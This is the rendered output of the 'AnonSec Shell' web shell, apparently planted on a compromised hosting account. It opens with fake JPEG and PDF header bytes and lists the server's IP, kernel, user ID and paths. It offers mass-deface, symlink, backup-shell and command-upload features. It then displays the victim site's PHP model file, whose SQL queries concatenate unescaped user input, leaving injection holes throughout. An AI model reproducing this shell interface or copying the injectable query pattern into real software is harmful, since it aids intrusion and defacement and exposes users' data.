ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 82.197.83.129  /  Your IP : 216.73.216.166   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u489457460 ( 489457460)
PHP Version : 7.3.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u489457460/domains/syoft.com/public_html/blogs/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/u489457460/domains/syoft.com/public_html/blogs/application/models/Common_model.php
<?php
class Common_model extends CI_Model { 
	 function __construct()
	 {
	 	parent::__construct(); 
	 }
	
	 
	  public function breaking_news($start,$end)
	 {
	  $sql="select * from  posts  where  breaking_news=1  order by post_id desc limit $start,$end";
	  $res = $this->db->query($sql);	
		return $res->result_array(); 
	 
	 }
	 function getUsers($postData){

     $response = array();

     if(isset($postData['search']) ){
       // Select record
       $this->db->select('*');
       $this->db->where("city_name like '%".$postData['search']."%' ");

       $records = $this->db->get('cities')->result();

       foreach($records as $row ){
          $response[] = array("value"=>$row->city_id,"label"=>$row->city_name);
       }

     }

     return $response;
  }
	  public function latest_news($start,$end)
	 {
	  $sql="select * from  posts p where   latest_news=1    order by post_id desc limit $start,$end";
	  $res = $this->db->query($sql);	
		return $res->result_array(); 
	 
	 }
        public function whatsup_list()
	 {
	  $sql="select * from  whatsup  order by whatsup_id desc limit 0,6";
	  $res = $this->db->query($sql);	
		return $res->result_array(); 
	 
	 }
	   public function gallery_images($start,$end)
	 {
	  $sql="select * from  gallery_images order by 	image_id desc limit $start,$end";
	  $res = $this->db->query($sql);	
		return $res->result_array(); 
	 
	 }
	  public function category_news($cat_slug,$start,$end)
	 {
	 $sql="select *,
case when (post_image is null or post_image = '') then '' 
else concat('http://newspillar.com/post_images/',post_image) end as 'image_path' from posts p inner join categories c on c.category_id=p.post_category where c.category_slug='$cat_slug'  order by post_id desc limit $start,$end";
	  $res = $this->db->query($sql);	
		return $res->result_array(); 
	 
	 }  
	  public function category_news1($cat_slug,$start,$end)
	 {
	$sql="select post_id,post_title,post_desc,added_date,post_slug,web_url,
case when (post_image is null or post_image = '') then '' 
else concat('http://newspillar.com/post_images/',post_image) end as 'image_path' from posts p inner join categories c on c.category_id=p.post_category where c.category_slug='$cat_slug' order by post_id desc limit $start,$end";
	  $res = $this->db->query($sql);	
		return $res->result_array(); 
	 
	 } 
	  public function category_news_load($cat_id,$start,$end,$id)
	 {
	 $sql="select *,'http://newspillar.com/post_images/20160210033916KTR_review.jpg' as 'image_path' from 
	 posts p inner join categories c on c.category_id=p.post_category 
	 where c.category_slug='$cat_id'";
         if($cat_id=='latest-news')
         $sql.= " and p.latest_news=1";
         $sql.="  and p.post_id < '$id' order by post_id desc limit $start,$end";
	  $res = $this->db->query($sql);	
		return $res->result_array(); 
	 
	 }
	 public function related_news($cat_id,$article_slug)	
	 {	 
	 $sql="select * from  posts p inner join categories c on c.category_id=p.post_category where p.post_category='$cat_id'  and  p.post_slug='$article_slug' order by post_id desc limit 0,10";	 
	 $res = $this->db->query($sql);		
	 return $res->result_array(); 	 	
	 }
	 public function search_news($article_slug)	
	 {	 
	 $sql="select * from  posts p where (p.post_title like '%$article_slug%')or (p.tags like '%$article_slug%')  order by post_id desc limit 0,10";	 
	 $res = $this->db->query($sql);		
	 return $res->result_array(); 	 	
	 }
	  public function article_read($article_slug)
	 {
	  $sql="select * from  posts p  where p.post_slug='$article_slug'";
	  $res = $this->db->query($sql);	
		$res=$res->result_array(); 
		if(is_array($res) && !empty($res))
		{
		return $res[0]; 
		}else
		{
		return array(); 
		}
	 
	 }
	  public function product_view($slug)
	 {
	  $sql="select * from  products p inner join categories c on p.category_id=c.category_id where  p.product_slug like '%$slug%'";
	  $res = $this->db->query($sql);	
		$res=$res->result_array(); 
		if(is_array($res) && !empty($res))
		{
		return $res[0]; 
		}else
		{
		return array(); 
		}
	 
	 }
	 public function related_products($slug,$cat_name)
	 {
	  $sql="select * from  products p inner join categories c on p.category_id=c.category_id where  p.product_slug!='$slug' and c.category_name='$cat_name'";
	  $res = $this->db->query($sql);	
		return $res=$res->result_array(); 
		
	 
	 }
      public function products_list($cat_name)
	 {
	  $sql="select * from  products p inner join categories c on p.category_id=c.category_id 
	 inner join sub_categories sc on  sc.category_id=c.category_id  where  c.category_slug='$cat_name' or sc.sub_cat_slug='$cat_name'";
	  $res = $this->db->query($sql);	
		return $res=$res->result_array(); 
		
	 
	 }
	 public function all_users()
	 {
	  $sql="select * from users where user_type!='admin' order by user_id desc";
	  $res = $this->db->query($sql);	
		return $res->result_array(); 
	 
	 }
	  public function users_report()
	 {
	  $sql="select * from users where user_type!='admin' order by user_id desc";
	  $res = $this->db->query($sql);	
		return $res->result_array(); 
	 
	 }
	
	  public function categories_list()
	 {
	  $sql="select * from packages order by package_id desc";
	  $res = $this->db->query($sql);	
		return $res->result_array(); 
	 
	 } 
	
	 
	  public function sub_categories_list($cat_id)
	 {
	  $sql="select * from sub_categories where cat_id='$cat_id'";
	  $res = $this->db->query($sql);	
		return $res->result_array(); 
	 
	 } 
	 
	 	

	 
	  public function edit_category($id)
	  {
		$sql="select * from packages  where package_id='".$id."' ";
		$res = $this->db->query($sql);	
		return $res->result_array(); 
	  }
	 
	   public function edit_sub_category($id)
	  {
		$sql="select * from sub_categories  where sub_cat_id='".$id."' ";
		$res = $this->db->query($sql);	
		return $res->result_array(); 
	  }
	
	  public function product_list($cat_id)
	 {
	  $sql="select * from products";
	  if($cat_id!=null)
      $sql.= " where cat_id='$cat_id'";
	  $sql.= " order by product_name asc";
	  $res = $this->db->query($sql);	
	  return $res->result_array(); 
	 
	 } 
	  public function product_list_by_cat($cat_slug)
	 {
	  $sql="select * from product_categories pc inner join products p on  p.cat_id=pc.cat_id";
	  if($cat_slug!=null)
      $sql.= " where pc.category_slug='$cat_slug'";
	  $sql.= " order by p.product_name asc";
	  $res = $this->db->query($sql);	
	  return $res->result_array(); 
	 
	 } 
	 	  public function my_orders($user_id)
	 {
	 
	      $sql="SELECT o.order_id,u.user_name,u.phone,o.paid_amount,  group_concat( op1.name ) AS products,o.order_date,o.payment_status
FROM orders o
INNER JOIN users u ON u.user_id = o.user_id
LEFT JOIN order_products op1 ON op1.order_id = o.order_id
where o.user_id='$user_id'
GROUP BY ,op1.order_id
";
		 $res = $this->db->query($sql);
	  
		return $res->result_array();
	 
	 }
	 
	   public function edit_product($id)
	  {
		$sql="select * from products  where product_id='".$id."' ";
		$res = $this->db->query($sql);	
		return $res->result_array(); 
	  }

	  
	
	public function get_user_details()
	 {
	  $sql="select * from users where user_id='1'";
	  $res = $this->db->query($sql);	
		return $res->result_array(); 
	 
	 } 

	 public function all_categories()
	 {
	  $sql="select * from categories";
	  $res = $this->db->query($sql);	
		return $res->result_array(); 
	 
	 }
    
	 }

Anon7 - 2022
AnonSec Team